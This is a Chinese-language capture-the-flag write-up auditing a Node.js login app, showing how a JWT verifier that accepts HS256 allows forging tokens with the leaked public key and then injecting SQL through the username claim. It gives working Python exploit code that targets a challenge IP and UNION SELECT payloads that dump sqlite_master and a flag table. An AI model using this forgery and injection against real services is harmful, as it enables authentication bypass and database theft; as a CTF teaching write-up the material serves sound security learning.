根据提示,此题目应该是代码审计类型的,文件结构如下
一般思路有两个,一是看有没有什么敏感信息,二就是看参数传递的地方能否利用,包括注入,伪造等
分析代码
index.js
先来分析入口文件,这是标准的web应用程序的入口文件,含义如下,看起来没有什么需要重点关注的地方
(这两天看到一些接入chatgpt开发的代码分析程序,过一阵人人都能手撕代码审计逆向和pwn题了😄)
package.json
此文件是一些配置以及版本信息,常出现漏洞的地方就是 express
框架的利用,例如:express框架一些渗透技巧 和jwt
的伪造,例如:攻击JWT的一些方法
views/index.html
此文件是一个普通web页面,显示一些基本信息和用户名 (xss漏洞一般很难遇到并利用)
views/auth.html
这是登录注册页面,接收用户名密码并传递到服务端,正确跳转到内容页面,错误返回此页面,它的后端实现函数在 routes/index.js 中
routes/index.js
共四个部分,是路由限制功能的实现
// 判断用户名是否存在 存在则跳转到 index 页面 不存在则返回错误信息
router.get('/', AuthMiddleware, async (req, res, next) => {
try{
let user = await DBHelper.getUser(req.data.username);
if (user === undefined) {
return res.send(`user ${req.data.username} doesn't exist in our database.`);
}
return res.render('index.html', { user });
}catch (err){
return next(err);
}
});
// 请求 auth 页面 并将 req.query 的值传递给 auth.html 页面
router.get('/auth', (req, res) =>
res.render('auth.html', { query: req.query }));
// 退出清空 session
router.get('/logout', (req, res) => {
res.clearCookie('session');
return res.redirect('/auth');
});
// 检查请求中是否有 register 字段 存在:则会尝试创建一个新用户 并将其添加到数据库中 还会检查username和password是否已定义并且是否为空 如果是:重定向到 auth页面
router.post('/auth', async (req, res) => {
const { username, password } = req.body;
if((username !== undefined && username.trim().length === 0)
|| (password !== undefined && password.trim().length === 0)){
return res.redirect('/auth');
}
if(req.body.register !== undefined){
let canRegister = await DBHelper.checkUser(username);
if(!canRegister){
return res.redirect('/auth?error=Username already exists');
}
DBHelper.createUser(username, password);
return res.redirect('/auth?error=Registered successfully&type=success');
}}
// 验证用户名密码 如果验证成功 路由处理程序将创建一个新的JWT令牌 并使用其签名中的数据(这里是用户名)将其存储在 cookie 中 最后 路由处理程序将重定向用户到网站的根路径 让他们访问仅对已登录用户开放的资源
let canLogin = await DBHelper.attemptLogin(username, password);
if(!canLogin){
return res.redirect('/auth?error=Invalid username or password');
}
let token = await JWTHelper.sign({
username: username.replace(/'/g, "\'\'").replace(/"/g, "\"\"")
})
res.cookie('session', token, { maxAge: 900000 });
return res.redirect('/');
middleware/AuthMiddleware.js
此程序判断 session 不为空时,将其解码,取出其中的用户名以便后续使用
module.exports = async (req, res, next) => {
try{
if (req.cookies.session === undefined) return res.redirect('/auth');
let data = await JWTHelper.decode(req.cookies.session);
req.data = {
username: data.username
}
next();
} catch(e) {
console.log(e);
return res.status(500).send('Internal server error');
}
}
helpers/DBHelper.js
数据库连接的代码就不看了,下面这几个函数都是数据库操作语句,没有看到过滤函数,所以可以尝试注入
getUser(username){
return new Promise((res, rej) => {
db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
...
});});},
checkUser(username){
return new Promise((res, rej) => {
db.get(`SELECT * FROM users WHERE username = ?`, username, (err, data) => {
...
});});},
createUser(username, password){
let query = 'INSERT INTO users(username, password) VALUES(?,?)';
let stmt = db.prepare(query);
stmt.run(username, password);
stmt.finalize();
},
attemptLogin(username, password){
return new Promise((res, rej) => {
db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err, data) => {
...
});});}
helpers/JWTHelper.js
这就是 jwt 的生成 token 的加解密过程
module.exports = {
async sign(data) {
data = Object.assign(data, {pk:publicKey});
return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
},
async decode(token) {
return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
}
}
什么是 jwt
本题大致思路就是生成 jwt 格式的 token 将我们的 sql 注入的语句传递到服务器,首先了解一下 jwt
说白了,也是一种身份验证的令牌,类似 session、cookie、token ,格式为 header
.payload
.signature
与其他令牌不同的是,它只需要在服务器端存储一个私钥,就可以使用签名算法验证数据
header: 常用字段如下 alg指定了token加密使用的算法 (最常用的为HMAC和RSA算法) typ声明类型为JWT
使用 base64 编码
{
"alg": "RS256",
"typ": "JWT"
}
payload: 通常为传递的数据 同样使用 base64 编码
signature:使用header中的算法将 header+payload 加密计算
这样,服务端使用私钥解密签名数据,如果能够和前面对上,就证明是可信的数据,非对称加密的安全性是通过私钥不被泄露来保证的,那么如何利用呢?
基本是通过修改加密方式来利用,如修改为空算法或对称加密算法
解题
注册登录,生成的签名可以到👉解密 jwt解密
可以看到解密出了公钥
使用如下方法验证公钥的准确性
import jwt
public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"
decoded = jwt.decode("eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2ODI0MDQ1NDR9.0whAAfQszbnS1WeX0kdtRXbe2Qoml8VG5dIt2nf69sla9dFlbFRCpr5rJ3pwgUMChJajmzltM7D67sOuDFijhQS8pdwe-M4I-31mV9S7oF4Hmal_U9XIZShJ8gr0Tj7dSGatrzn1woH05pj7-nKZJHXv6-iskQcv5EZq1ZyaVn60T1linazzjGoaOR3MN6fP-1Zbi8Ux6QWvP_1WphKIBDsOgbNq3mKyPdeYwNXOgdypFjl3wKJ_u_z7ysIMCgco0HIaLrYa1jNLpbCL31DnSiKLy3zvrRmWzyux_BkI8VPMRYz3eo0yGv4q2yviZcxEVfr4kR1HKRhuqImoIXhkzA",public_key,algorithms=["RS256"])
print(decoded)
使用 jwt 公钥加密的方式也很简单,修改加密算法为 HS256
import jwt
payload= {
"username": "test",
"pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
"iat": 1682404544}
public = payload.get("pk")
encoded_jwt = jwt.encode(payload, key=public, algorithm="HS256")
print(encoded_jwt)
运行时报错
需要注释一下代码
此时就可以尝试sql注入了,初步的 exp 如下,username 就是我们的注入语句
import jwt
import requests
def gen_jwt_token(username):
payload= {
"username": username,
"pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
"iat": 1682404544}
public = payload.get("pk")
encoded_jwt = jwt.encode(payload, key=public, algorithm="HS256")
#print(encoded_jwt)
get_resp(encoded_jwt)
def get_resp(token):
headers={
"cookie": "session=" + token
}
url = "http://161.35.36.167:30914/"
response = requests.get(url,headers=headers).text
print(response)
if __name__=='__main__':
username = "test' union select 1,2,3--+ "
gen_jwt_token(username)
发现在此处有回显
注意,这里使用的是 sqlite 数据库,所以函数有一些区别,比如它是没有 database()
函数的,正巧,之前学习 android
开发时接触过 Android开发基础 在利用语句章节
# 查数据库表名和字段名 结果一起返回
username = "test' union select 1,sql,3 from sqlite_master--+ "
# 查数据
username = "test' union select id,top_secret_flaag,3 from flag_storage--+ "
最终查询到 flag